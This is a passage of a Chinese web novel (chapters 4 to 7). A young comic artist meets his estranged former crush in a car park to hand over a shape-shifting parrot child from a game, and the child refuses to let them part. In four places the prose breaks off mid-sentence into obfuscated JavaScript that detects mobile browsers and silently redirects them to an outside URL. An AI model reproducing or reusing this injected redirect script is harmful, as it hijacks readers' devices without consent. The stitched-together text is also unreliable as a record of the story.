再说起来,最近的工作也不顺利。 原本主要是画自己的原创作品,加部分合作稳定的商稿,再加一部分偶尔接的私稿。 但几个月前,在平台编辑的鼓励下,他接下了人生中第一部小说改编的漫画。 宋锦路本来很喜欢这篇小说,绘制人物时也跟小说作者沟通过,得到了对方的认可。 可漫画上线后,愣是被小说粉丝骂了个狗血喷头。更一话骂一话,天天更就天天骂。 骂到宋锦路差点道心破碎,只想原地遁走跑路。 无奈合同跟违约金禁锢了他。 没办法,宋锦路只能一边哭一边画,每次都在自我怀疑中准时按下更新。 铁屁股一坐就是几小时,忙活到傍晚时分,宋锦路又要找跑腿给父母送晚餐。 确定晚餐安全抵达后,宋锦路再给自己跟小鹦鹉做晚餐。 小鹦鹉吃饱了睡,睡饱了吃,日子简直无忧无虑,看得宋锦路十分眼红。 但小鹦鹉如此安静,宋锦路根本不敢惹他,等吃过晚餐,他给小鹦鹉放起了动画片,自己则继续工作。 但这一天实在太累,就算是僵尸也会觉得疲惫。 熬到十点半,宋锦路怎么都熬不住。眼皮重得像被涂上胶水,闭上就难再睁开。 旁边的小鹦鹉也已经看着动画片入睡。还将鸟壳拖到了床上,自己则恢复原形,钻进里面呼呼大睡。 今天唯一的安慰,就是回到家后,小鹦鹉没再折腾他了吧。 真希望以后每天都能这么安静。 宋锦路已经没力气叹气,简单洗漱后往床上一躺,迅速秒睡。 叮叮叮—— 叮叮—— 可睡着不过两小时,宋锦路又在一阵刺耳的叮叮声中醒来——话说早了,小鹦鹉不是不闹腾,而是选着时间闹腾。 白天吃饱睡好,晚上就很有精神摸黑跑酷,满屋乱飞后,又来踢宋锦路床头的装饰铃铛,还踩在宋锦路本人头上乱啄。 “爸爸!爸爸!” 声音清醒得不像话,元气充足,活力满满。 “……” 宋锦路则像具被榨干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228795|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的干尸,精疲力竭,说不出话。 真是服了。 小鹦鹉来到身边才一周,却已经是第四回在半夜把他啄醒,再这样下去,宋锦路觉得自己迟早猝死。 “……你干什么?大半夜的,你怎么又起来了?” 小鹦鹉一个滑铲,根本不顾宋锦路死活,直接从他脸上铲到了胸口的位置。 “爸爸!爸——嗷嗷嗷嗷!!” 就是突然一阵静电,电得小家伙嗷嗷乱叫。 打扰爸爸睡觉的坏心眼小鸟,受到了来自天道的正义裁决。 本来宋锦路有点生气,可看小鹦鹉被电得乱叫,又笑了。 实在没招了。 “……你到底想干什么?大半夜能不能好好睡觉?我真的很困很想睡觉啊。” “爹爹!找爹爹!” “……” “爹爹!爹爹!找爹爹!” “……” 又来。 又是爹爹。 白天说那些重话时,宋锦路还想过自己会不会太凶了……可从小家伙现在的反应来看,八成已经将他说过的话遗忘了。 宋锦路太累太困,又听到这声“爹爹”,只感觉有股说不出的憋屈闷气直接冲上脑壳,连过往那些恩怨情仇都暂时压下。 那一瞬想,既然小家伙这么想找爹爹,那干脆送他去爹爹那里团聚算了。 反正他也不想养这只小鸟,从此乐得轻松,不用再被折磨了。 如果是在白天清醒的状态下,宋锦路绝对做不出这种结论,可深夜头脑不清醒,只需几秒上头的情绪便够了。 这么想着,宋锦路直接破罐子破摔,拿过手机就发了条朋友圈:【谁有陆明檀的联系方式?私我有偿。】 陆明檀。 时隔经年,再次打出这三个字,宋锦路心头还是有种难以言喻的情感在跃动。 他也不想发在朋友圈的,可此时想到的寻人渠道只有朋友圈。 兴许初中同学里有人知道陆明檀的下落呢。 但将消息发布后,宋锦路渐渐冷静下来。 会不会有点突兀跟奇怪? 就算真有初中同学知道陆明檀下落,可要问自己找陆明檀做什么时,自己该怎么解释呢? 陆明檀知道后又会是什么反应呢? 两人初中时决裂那么彻底,网恋被骗后更是你死我活……如今五年过去,自己突然找寻他的下落,陆明檀不会误会什么吧? 不行…… 不行不行! 说到底他就是一瞬间的情绪上头,实际并没有跟陆明檀见面的勇气。 光是想象两人见面的尴尬场景,宋锦路就恨不得一棍把自己捶晕了。 发布消息五分钟,宋锦路果断决定删除。 还好是大半夜发的,还好他很快醒悟,应该没人看到。 可再打开微信,一点红色的消息提示十分显眼。 啧。是谁。 大半夜竟然刷到了他的朋友圈。 但是算了,就一条,他假装没有看到,直接删除就好。 宋锦路点进去,发现还是个熟悉的头像。 虽然没有真名备注,但宋锦路记得对方。是个加了十多年的微信好友,不管自己发了什么,对方次次点赞不落,应该也是他哪个初中同学。 还以为对方又是点赞,宋锦路没太想多,直接点开消息栏—— 却发现这回对方给他留下了一句评论:【找我什么事?】 宋锦路瞬间呼吸停滞。 猛地从床上坐起身,脑袋顿时一片清醒,不敢相信自己看到了什么。 5. 第 5 章 宋锦路觉得自己出现幻觉了。 有可能此时整个世界都是幻觉,也可能只是场梦,是错觉。 总是全是假的。 ……陆明檀怎么会出现在他的好友列表里呢?! 这怎么可能呢!! 可再将对方的评论逐字来回看了好几遍,宋锦路必须确认自己没有看错。 指尖的血液像全跑光了,体温瞬间骤降,四肢发软发冷,大脑空白发懵。 宋锦路根本不知道接下去该怎么办,事态发展太突然太超出他的承受范围了。 然而在大脑细胞都还僵直宕机的时刻,对方主动发了消息过来。 Sorry:【找我什么事?】 文字无声却有着千万吨的压迫感,宋锦路下意识咽了咽口水。 直到对方英勇贴脸,他不得不接受这个现实,于是前一秒还仿佛全身冻结成冰,再下一秒,就有汹汹燃烧的火焰冲撞全身,烧得他脑门都发热。 宋锦路:【???】 宋锦路:【你是陆明檀???】 Sorry:【嗯】 宋锦路一整个头皮发麻。 宋锦路:【你怎么证明??】 他还是不能接受不能相信。 他需要证据。 Sorry:【我们在游戏里网恋过一年,当时你主动提出想跟我奔现】 宋锦路:。。。 宋锦路:…………………… 没想到一出手就掀了他最在意最羞耻最罪不可赦的黑历史。 宋锦路感觉自己有一点死了。 真是陆明檀…… 竟然真是陆明檀!! 可怎么能是陆明檀呢??? 到底是为什么啊??? 宋锦路怎么想都不能接受。 他加了这个账号十多年啊!从初中到此时此刻啊! 在他们初中决裂之前! 在他们你侬我侬的网恋之后! 又在他们彻底你死我活的江湖不见后啊! 他两次以为跟陆明檀一刀两断,确信自己完全将陆明檀从生活中剔除了出去啊! 结果现实猛地给他一耳光,原来陆明檀从未远离他的世界,就明目张胆地藏在他好友列表里视奸了他十多年。 期间行事更是高调至极,只要自己发朋友圈,他必前来点赞,毫无遮掩,挑衅至极。 Sorry:【所以你找我有什么事吗?】 宋锦路阵阵眩晕。 宋锦路:【我加了你这个号十多年啊??从一开始就是你??】 Sorry:【嗯】 宋锦路:【那你怎么不说??你就这么藏了十多年??】 Sorry:【你没问】 Sorry:【如果你问了,我会告诉你】 宋锦路:…………………… 那他还真是……从来没问过!! 因为初中有段时间很流行加好友,不是同班同年级的也互相猛加,仿佛好友列表里的人越多,就能显得自己人脉越广越厉害。 宋锦路就是在那时加了这个账号,之后便一直以为是哪个初中同学,从未起过疑心。 宋锦路:【那你之前的微信号呢??你为什么要搞两个微信号加我??】 Sorry:【因为两个号都想有你好友】 宋锦路:………… 一点没变。 说话时一本正经又带着荒唐诡谲的人机感,就是陆明檀本人。 Sorry:【所以你刚刚找我是为什么事?】 宋锦路深呼吸换口气,没想到在这炸裂一天的末尾,还有此等炸裂的事情在等着他。 哈哈哈。 刺激刺激。 或许是冲击太多了,疯狂的震惊过后,宋锦路反而奇迹般冷静下来。 不管当初决裂的场面多夸张,五年后再次对话,宋锦路并不愿意提及这段往事。 感觉谁先提起,就显得谁更在意,谁更不能放下。 宋锦路在心里自我催眠,冷静,要冷静,他要拿出成年人该有的理智冷静,主要目的是把小家伙的“抚养权”转移给陆明檀罢了。 宋锦路:【有件事需要当面跟你说,你在A城吗?】 要直说发生了什么,陆明檀不一定相信,而宋锦路也没心思做太多文字解释。 直接见面,让陆明檀亲眼见识就好了,事实胜过一切。 Sorry:【在】 很好。 宋锦路:【明天有空吗?】 早晚都要说,那就趁勇气和冲动还未消散时赶紧说,省得夜长梦多,徒生变数。 Sorry:【有】 宋锦路:【几点有空?】 Sorry:【7点】 宋锦路:。 宋锦路:【早上七点还是晚上七点?】 Sorry:【早上】 宋锦路:…… 这是人类能约出来的见面时间吗? 大学上早自习都不用这么早。 宋锦路:【会不会太早了,你是之后还要去上班吗?】 Sorry:【不是】 宋锦路:【那为什么这么早?】 Sorry:【因为7点才下班】 宋锦路:。 这种问一句答一句,中间还要大喘气的说话风格,时隔多年依旧能轻易激起宋锦路的情绪波动。 宋锦路:【工作这么辛苦?】 看来陆明檀这些年混得也不怎么样,还要通宵工作。 Sorry:【还好】 Sorry:【多谢关心】 宋锦路恨不能撤回消息,谁在关心他?要不要这么往自己脸上贴金? 宋锦路深深闭眼,再度深呼吸调整情绪。 宋锦路:【七点就七点吧,但我们得找个隐蔽的地方见面】 人多的地方肯定不行,毕竟小家伙得当场展示一下变身能力。 其实谈话到这里,一般人都会觉得宋锦路的要求很诡异,尤其他们之间的关系并不好。 可陆明檀就是没问原因,只一昧地顺着宋锦路说下去。 Sorry:【需要多隐蔽?】 宋锦路:【绝对没有人会看到的私密空间】 Sorry:【那在车上见面,够隐蔽吗?】 Sorry:【车子可以停在地下室最阴暗的角落】 那确实很隐蔽。 这两行字害宋锦路突然笑了一下。 还好陆明檀不会看到。 第一反应是荒唐,哪有人约在地下停车场见面。 但转念一想他们的关系,再想小家伙的能力,又必须承认停车场是个绝佳位置。 宋锦路咬牙切齿地答应:【行,那哪里的停车场方便呢?】 Sorry:【我可以来你家楼下的停车场】 Sorry:【到时你下来就行了】 宋锦路立刻十分抗拒。 虽然马上要搬家了,可他并不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228796|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让陆明檀知道自己住在哪里。 谁会告诉仇人自己家在哪里啊? 好方便对方上门仇杀吗? 然而宋锦路还来不及婉拒,陆明檀就把他的现实地址发送过来。 Sorry:【[地点]】 Sorry:【是这里吧?】 大半夜的,看到自己的地址被讨厌的人直接发出来,宋锦路只一阵毛骨悚然。 宋锦路:【你怎么知道??】 Sorry:【整合一下你在朋友圈发过的信息,很简单就能推测出来了】 宋锦路:…… 毛骨悚然瞬间更加具体。 他还不想让陆明檀知道自己住在哪里,结果陆明檀藏匿在他朋友圈,早就挖出来了。 还有比这更恐怖的事吗? 宋锦路能确定自己从未发过具体位置……所以陆明檀到底是怎么钻研了他的朋友圈,才能做到如此精准定位啊? 还好他要搬家了。 等将小家伙交给陆明檀后,他不仅要把陆明檀的好友删掉,其他所有不认识的人也要全删了。 宋锦路:【好吧,那就这里见】 虽然心里阵阵发毛,但不能露怯,装也要装出镇定成熟的冷静。 Sorry:【好】 Sorry:【还有其他事吗?】 宋锦路:【没了,睡了】 Sorry:【好】 Sorry:【晚安】 宋锦路自以为回答的足够傲慢冷漠了,但看到陆明檀的“晚安”,顿时有种被烈火烹饪全身的煎熬。 谁要跟他说晚安了? 他们之间是能说晚安的关系吗? 可再将两人的聊天记录拉回去重看一遍……嗯,其实从第一句话开始,事态就已经很诡异了。 决裂多年后,宋锦路突然抓住了藏在好友列表的仇人内鬼,但没有跟对方算账不说,还直接约对方出来见面,而对方竟也什么都没问,还答应了跟宋锦路见面…… 这真的合理吗? 现实能再魔幻点吗? 他还会担心过陆明檀会对自己做什么,那陆明檀呢?真就一点不觉得哪里奇怪?胆子这么大吗? 还主动提出可以在地下停车场见面,难道不怕是自己要找他寻仇,明天对他做点什么吗? 诡异。 真是太诡异了。 宋锦路将聊天记录来回看了好几遍,一顿抓耳挠腮,在床上旋转翻滚。 突然莫名的心慌气短,有种不能接受发生了什么的眩晕,但也有种反正都这样了,那就这样吧的破罐破摔。 而当宋锦路终于在如此魔幻诡异的现实中找到平衡后,才迟钝地反应过来,似乎在他跟陆明檀聊上时,小家伙就变得无比安静,似乎是在瞬间隐藏了所有存在感。 宋锦路赶紧看了一眼,小鹦鹉竟不知何时变回原形,已经重新钻回自己的大鸟壳中睡觉了。 这小子—— 大半夜把自己啄起来闹着要爹爹,结果转头就去呼呼大睡了? 那么轮到宋锦路骚扰小鹦鹉了。 双手抓过大鸟壳,宋锦路使劲摇晃:“臭小鸡,你怎么睡着了?” “你不是要爹爹吗,明天就能去见你爹爹了……” “你醒醒,要去见你心心念念的爹爹了,你怎么还能睡着呢?” “醒醒,赶紧醒醒!” 无奈臭小鸡拥有超强睡眠质量,睡着了就是睡着了,无论宋锦路怎么摇晃,不醒就是不醒。 6. 第 6 章 回忆过往,宋锦路跟陆明檀的关系也不是从一开始就这么糟糕的。 相反,最初他们相处还挺好。 而宋锦路会发现自己的性取向为男,也是在对陆明檀的情窦初开中逐渐显露的。 初二那年,陆明檀转学到了宋锦路所在的学校,两人成了同班同学。 那时陆明檀就展现出了微妙的人机感,社交能力堪比一根香蕉,情商更是诡异到感人,总在错误时机发表一些错误感言。 显而易见,这种性格注定无法合群,因此陆明檀总是独来独往。 放至现在,可能会有人觉得这种性格“很酷”,可在他们的学生时代,不合群就是死罪。 除非他是拥有一众小弟的混子精神小伙,除非他是家缠万贯的富家少爷,否则就只有让人看不顺眼的效果。 而陆明檀明显不属于第一种,也没人知道他是不是第二种——所以即使没有招致什么极端的恨意,却也引来了不少实打实的敌意。 有部分小团体因此对陆明檀进行着霸凌。 像是故意弄丢他的书本作业,偷翻弄乱他的课桌,看到他发出阵阵怪叫,对着老师恶作剧转头栽赃嫁祸给他——说很严重吗,至少没对陆明檀造成躯体伤害,老师最多口头教育,罚这些人写写检讨。 但要说不严重,又跟苍蝇一样令人厌烦恶心,实际对人产生的消耗很大。 而且会对同龄人做出这种事情的坏学生,也压根不惧怕老师的责难跟检讨。 当时宋锦路很看不惯这种行为。 原本他对陆明檀无感,两人没有任何交集,但就是看不起这些小团体对陆明檀的骚扰,便主动跟陆明檀做起了朋友。 那时宋锦路的爸爸也是学校的教导主任,以极其过分的严肃无情出名。 虽然很不讨学生们喜欢,但确实没人会来招惹宋锦路。 而宋锦路也是在跟陆明檀接近相处后,才发现陆明檀很多言论并非故意挑衅,而是天生的行为模式跟常人不同。 然后宋锦路就莫名其妙动了心,完全不讲道理,但就是喜欢上了陆明檀这种性格古怪的家伙。 可喜欢到底意味着什么,他们的未来又会怎样,宋锦路也没想过,那个年纪考虑的事情很少,他只感觉挺好的,心里愿意一直这样下去。 偏偏决裂又跟心动一样来得毫无征兆。 某个很平常的日子,陆明檀突然就说要跟他保持距离了。 陆明檀说自己其实更喜欢独来独往,每次跟宋锦路在一起的感觉都很奇怪很别扭,他其实很讨厌,希望宋锦路别再来打扰他。 宋锦路单方面被断崖式绝交,心里落差大得能淹死一头大象,缓了好几天也没缓过来,结果陆明檀又飞速转学走了。 转学是几天就能决定的事吗? 可宋锦路什么都不知道,陆明檀竟半个字都没向他透露。 那时他真恨死陆明檀了。 一切感觉美好单纯的心动,从此都成了羞愤难当的耻辱。 宋锦路恨不得将陆明檀写上死亡笔记,心想将来要再见面,他一定要对陆明檀拳打脚踢,狠狠发泄自己所受的耻辱。 直到大学网恋,宋锦路才稍微放缓了对陆明檀的仇恨。 毕竟时间是最好的稀释器。 那时宋锦路开始沉迷一款古风网游,同时也确认了自己的性取向。 无奈现实身旁都是男生,他不敢轻易暴露,怕被歧视,最多只敢在游戏大胆一些。 不过因为陆明檀的缘故,宋锦路对真心变得相当克制,特别害怕会被辜负。 决定要跟网恋对象奔现时,宋锦路是真用上了此生最大勇气,战胜了陆明檀曾留给他的阴影—— 然后发现对面又是陆明檀。 说实话,宋锦路已经忘记当时的具体感受,因为真是太荒唐太离谱了,大脑为了保护他不崩溃,清除了很多糟糕回忆。 可不管大脑清除了多少,都无法清除当时宋锦路心底那些铺天盖地袭来的羞耻,以及无边无际的悲愤与痛苦。 他不知道对面的人是陆明檀,但陆明檀早就知道对面的人是他。 不管陆明檀有什么原因,宋锦路都不能面对这种程度的隐瞒,实际与背叛无异。 更何况陆明檀已经背叛过他一次。 如今时间过去了五年,宋锦路的心态比以前好些,至少不再想将陆明檀挫骨扬灰。 但还是很介意,从未释怀放下——试问两次最纯粹的真心都被辜负,叫他如何放下? 今晚会再次联系陆明檀,也是出于一时的情绪上头,再加没能防到陆明檀的潜伏罢了。 宋锦路闭上眼,混乱复杂的过往不断闪现,桩桩件件要命。 ……算了算了,不想了不想了。 总之自己的任务只是将小家伙打包塞给陆明檀,之后跟这一大一小彻底切割,删除好友火速搬家,从此人间蒸发。 对,没错。 就是这样。 宋锦路强迫自己赶紧睡觉,睡着了就什么都不想了。 密密麻麻的往事不断在脑海里闪现,他本还担心自己会睡不着,结果闪现着闪现着,他不知不觉就意识昏迷了。 最后睡了不长不短四个半小时,早上六点半,在闹钟响起前就清醒睁开了双眼。 不可思议。 昨晚睡前闭着眼睛还在想东想西,此时就要去见陆明檀了,反而头脑清醒,冷静镇定。 洗漱换衣只用了几分钟,最费时的事情成了叫小家伙起床。 宋锦路也是服了,大半夜生龙活虎乱吵乱叫,真到起床点,小家伙就像陷入昏迷般一动不动。 好在是维持着原形小鹦鹉的模样,抱起来并不吃力,宋锦路用毯子一裹,装进塑料袋,直接就这么拎着下去了。 Sorry:【我到了,在这里】 Sorry:【图片】 宋锦路点开消息一看,正是他走出电梯的地方。 不知陆明檀是算到的,还是碰巧停在这里——但不管是哪样,都巧得令人心底发毛。 叮。 地下一层抵达。 宋锦路走出电梯,往前走了一段距离后右转,伸手推开厚重的大门。 一抬眼,就看到站在不远处的陆明檀。 丰神俊朗,眉眼浓墨。身形高挑匀称,穿了件深灰色的大衣,戴着副无框眼镜,像车模般站立车旁。 但再多看一眼,似有一阵阴凉的冷风猛然吹过心头,冷得宋锦路浑身都抖了抖。 真可恨。 这么多年过去了,再次见到陆明檀本人,他竟还是能一眼认出。 而那些应该早已消散的情感,也立即在心间泛起涌动。 太可恨了。 宋锦路捏了捏拳头,恨不得对着陆明檀两边脸颊各来一拳。 凭什么这王八蛋看上去过挺好呢? 他还以为陆明檀日子过的不好呢,这不是让他昨晚白高兴了吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228797|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可宋锦路不得不忍住这股不甘的冲动,佯装出成熟的无所谓,也不能躲避眼神示弱,就这么走到了陆明檀面前。 宋锦路先开了口,好像这样就算先发制人:“还挺准时,说七点真是七点……” 虽然声音带着些许微妙的干涸跟发颤。 四目相对。 陆明檀没有回答,只是这么沉默地盯了宋锦路很久,久到宋锦路都有些不自然了。 可宋锦路正要开口表达自己对此很不爽的前一秒,塑料袋里的小家伙不巧睡醒了,试图挥动翅膀时发现被捆住,很不高兴地嚷开了,一边还疯狂挣扎。 “呀呀呀呀——讨厌!讨厌!” 陆明檀一愣,终于说了第一句话:“……原来这不是玩偶啊。” “……” 宋锦路分了神,小家伙挣扎起来又力大无穷,他没拿稳塑料袋,嘶啦一下破裂,小家伙挣开毯子,当场起飞,气呼呼地在大人头顶盘旋好几圈。 直至余光瞥见陆明檀,小家伙猛地紧急刹车,瞬间化身战斗机状态,直冲陆明檀怀抱。 “是爹爹!是爹爹!哔哔哔哔哔——peekaboo!” 等小鹦鹉落入怀抱,早已不管不顾地化身成人类幼崽形态,当场大变活人。 虽然宋锦路对此有所防备,但明显还是防备少了,见到这幕一整个大惊失色,赶紧左右张望看有没有被人发现。 随后也顾不得那么多,直接将旁边的车门打开,动手将陆明檀塞进去:“进去!赶紧进去!” 陆明檀瞪大双眼,显然也被这幕超自然现象惊到,但很听宋锦路的安排,立刻抱着孩子坐进车内。 宋锦路再左右张望两下,确定周围空无一人后,自己火速坐上副驾驶。 再恨意汹涌的仇人相见,都不如小家伙带来的心惊肉跳刺激,霎时间盖过了所有情绪。 宋锦路只感觉阳寿短了五年,手掌按着胸口,等气息缓过来些后,才开口:“这就是我要找你的——” 陆明檀打断:“他是善善?” “……” 没想到陆明檀这么快就认出来,还能叫出孩子的名字。 而小家伙听到陆明檀喊出自己名字,叫得更闹腾更甜了:“善善,是善善!爹爹!喜欢,亲亲!” 一边还用自己软糯糯的脸蛋不停蹭着陆明檀,亲昵撒娇,不断发射可爱光波。 哪还能跟刚才乱飞乱叫的捣蛋鬼联系到一起。 宋锦路呆愣看着,虽然小家伙对自己也是如此,可亲眼看到他对陆明檀这样,心里就有股说不上来的,古怪的,微妙的不平衡感。 “所以你找我,就是想告诉我,我们的孩子突破次元出来了?” “……” 这表达方式怎么听都有点奇怪,而且陆明檀未免也太镇定太冷静了吧? 这种消息难道不惊世骇俗不可思议吗?怎么都该表现的更吃惊点吧? 当初自己可是被吓了个半死,都没想到是小家伙穿越,还以为是自己穿越了呢……陆明檀这样的反应当真合理吗? 但合不合理都不重要了,压下心头所有微妙的不适感,宋锦路记起自己今日任务,冷酷无情地说:“……对,我也不知道他怎么从游戏里跑出来了,一直吵着要找你,所以我想还是交给你吧。” “就这样。” “以后你们好好生活,祝你们父子俩幸福美满。” 说罢,宋锦路抬手去开车门,准备直接走人。 7. 第 7 章 虽然早就决定要这么做,可真到下车时,宋锦路心底还是泛起些许舍不得。 已经养了一周,朝夕相对,而小家伙整天吵吵闹闹,时刻都要黏着自己,存在感极其强烈。 宋锦路觉得会培养出感情实在难以避免。 ——所以他才要及时止损,趁早将小家伙丢给陆明檀啊。 就是头疼,之后该怎么向父母解释呢? 早知道昨天就对父母说是邻居家的孩子,只是拜托他临时照看了……不过这也很难糊弄过去吧?小家伙跟他这么像,父母应该不会信吧? 短短几秒时间,大脑里挤满各种信息,全力稀释着宋锦路对小家伙的不舍,并勒令他赶紧离开。 结果伸手去开车门时,却怎么都打不开。 宋锦路用力推拉好几下,随后疑惑地看向陆明檀——他还以为是陆明檀将车门锁上了。 但刚扭过头,就先看到小家伙满脸严肃地举着双手,似乎正在拼命用力,眉头都皱得紧紧,难得将自己挤成一张苦瓜脸。 “讨厌……讨厌!不行!” 声音也透出罕见的可怜跟委屈,重复说着:“爸爸!不行!要爹爹!一起!不行!” 宋锦路已经能从小家伙贫瘠的词汇中听懂他想表达的意思——他是在讨厌爸爸离开这件事,爸爸不能离开,要跟爹爹在一起。 随后也明白过来,车门不能打开正是小家伙在作怪。 原来他不仅能变身,还是只超能力小鸟。 但宋锦路选择了心硬如铁:“……不是你天天吵着要找爹爹吗,现在终于找到了,你能跟你爹爹生活在一起了。” 视线难以控制地陆明檀身上掠过,宋锦路飞快收回:“……我之前就跟你说了,我们是破碎一家,有爸爸没爹爹,你要爹爹就没爸爸……那你还是要爹爹,只能没爸爸了。” 小家伙的眼眶立刻泛红,里面堆积起湿漉漉的泪意。 要哭了。 宋锦路感觉心被揪了一下,他还以为小家伙最多大哭大闹,胡搅蛮缠,就跟平时烦着他一样。 可小家伙却是要哭了。 如此调皮难缠的捣蛋鬼,宋锦路还是第一次看到他哭,不吵不闹的,哭起来的模样竟出奇安静。 豆大饱满的泪水夺眶而出,顺着软糯柔绵的脸颊滑落,小家伙似还在忍耐,抿着自己的嘴唇,表情倔倔的,又可怜。 宋锦路心底瞬间升起一股愧疚之情。 这样对待一个小孩,似乎太过残忍。 “我——” 宋锦路缓了缓语气,可欲言又止,不知道该怎么说。 因为心疼也好,愧疚也好,真相就是如此啊。 他们就是破碎一家,他也不可能为了小家伙就委屈自己跟陆明檀和好啊。 “好了,你让爸爸下车……”宋锦路叹了声气,这次努力说得委婉些了,“以后你跟爹爹在一起……也会很开心的……有机会我就去看你。” “不行,不要……讨厌,不要……” 站在小鹦鹉宝宝的立场上,天是真正塌了。 本来睡醒突然见到爹爹,整个人都沉浸在一家重逢的疯狂喜悦中,结果喜悦不过几分钟,爸爸就要抛弃他走了。 虽然词汇匮乏,总是难以表达自己的想法,但小鹦鹉宝宝能听懂爸爸的意思——爸爸不要他了,爸爸好像一直不太喜欢他。 泪水不受控制地不停滑落,小鹦鹉宝宝只想嚎啕大哭一顿。 但他不敢。 因为他正调用全身力量,将车门紧紧封闭,阻止爸爸下车。 直至全身力量耗尽,平举的小手臂也无力垂下,喉间更是泛起股诡异的腥甜。 再下一秒,小鹦鹉宝宝破功了,猛吐一大口血,吐在自己身上,陆明檀的衣服上,溅在宋锦路手上。 宋锦路更被吓一跳:“……你怎么了?!” 谁能想到小家伙会突然吐血。 再狠心的人看到这幕也都不忍心了。 “爸爸……” 而小鹦鹉宝宝又冲着宋锦路伸了伸双臂,一个明显要抱的姿势。 泪水糊着殷红的血,染了半张脸,哭唧唧地说着:“宝宝,喜欢,亲亲,不走……” 轮到宋锦路破功了。 再铁石心肠的人都逃不过小家伙如此可怜的请求。 宋锦路感觉心底像被什么一直揪着,最后伸手从陆明檀怀里抱过小鹦鹉,妥协叹道:“好了好了,我不走……你别这么吓人啊,没事吧?” 小鹦鹉宝宝也很想告诉宋锦路,还好,他没什么事,只是透支了身体力量,休息休息就好。 但他不会说人话。 因为他只是一个小鹦鹉。 而真正会要他鸟命的,是爸爸跟爹爹不肯和好这件事。 小鹦鹉宝宝也不懂,以前爸爸跟爹爹多好多恩爱啊,他们一家三口的生活温馨美满,他也一度坚信自己是全世界最幸福的小鹦鹉。 然而某天睁开眼,生活的桃源仙境莫名其妙被一片黑暗吞噬,爸爸跟爹爹还都不在他身边。 一道冷酷无情的机械音告诉他,爸爸跟爹爹分开了,两人都不想要他,所以他的生命进入销毁倒计时,再过60天就会彻底死去。 但销毁程序出现巨大漏洞,反为他打开了一道通往现实的路径,同时给了他一个能够逆天改命的机会:只要在60天内让爸爸跟爹爹重修旧好,他就能终止倒计时! 叽里咕噜一大堆话,小鹦鹉宝宝听也听不懂,只听到要让爸爸跟爹爹和好,就信誓旦旦地拍着胸脯飞来了。 那时他想,这有什么难,有他在,一定能让爸爸跟爹爹和好,恢复从前般的恩爱。 可真来到另外一个世界,见到心心念念的爸爸后,他才发现,好像真不是那么简单。 首先这个世界跟之前的世界天差地别,到处都是令他害怕的东西,非常陌生。 其次爸爸跟爹爹之间似乎真发生了不可调和的巨大矛盾,爸爸变得很讨厌爹爹,而他压根不知道爹爹在哪。 好不容易找到爹爹了,结果有爹爹没爸爸,爸爸立刻要抛弃他了。 小鹦鹉宝宝软绵绵地瘫在宋锦路怀里,如果不是浑身力量透支,他绝对要扯开嗓子狠狠哭上一顿。 宋锦路抱着小家伙,见惯了小家伙吵闹的模样,就知道安静下来是真出事了。 虽然极其不愿跟陆明檀说话,无奈身旁能说话的人只有他:“……怎么办?要不要送善善去医院?他这样能去医院吗?” 关键该送去宠物医院还是妇儿医院?普通的人类医院对超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228798|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力小鸟会有帮助吗? 陆明檀冷静地说:“等半小时看看吧,这可能是他的技能。” “……嗯?” “在游戏里,他有一个控制技能,你还记得吗,代价是掉自身血条。” “……” “这个技能的冷却时间是半小时,我们可以先观察半小时。” “……” 经陆明檀提醒,宋锦路才想起来,还真有这么一个技能。 “善善是什么时候出现的?” “一周以前。” “他有说过出现的原因吗?” “……” 陆明檀就这么若无其事地发问了,宋锦路只觉得怪异,他们的关系能像这样平静坐着聊天吗? 但看了眼怀里疲倦苍白的小家伙,宋锦路又走不掉,也不好莫名其妙就跟陆明檀算旧账,只能不咸不淡又带点刺地回答:“……没说,你刚才也见识到他的表达能力了,平时说话就这样。” “嗯,我听到了。”陆明檀说,“他说希望我们在一起。” “……” 宋锦路无语了。 而怀里的小家伙听闻,愣是撑起疲惫身躯,冲着陆明檀坚定点头。 爹爹听懂他的意思了! 好爹爹! 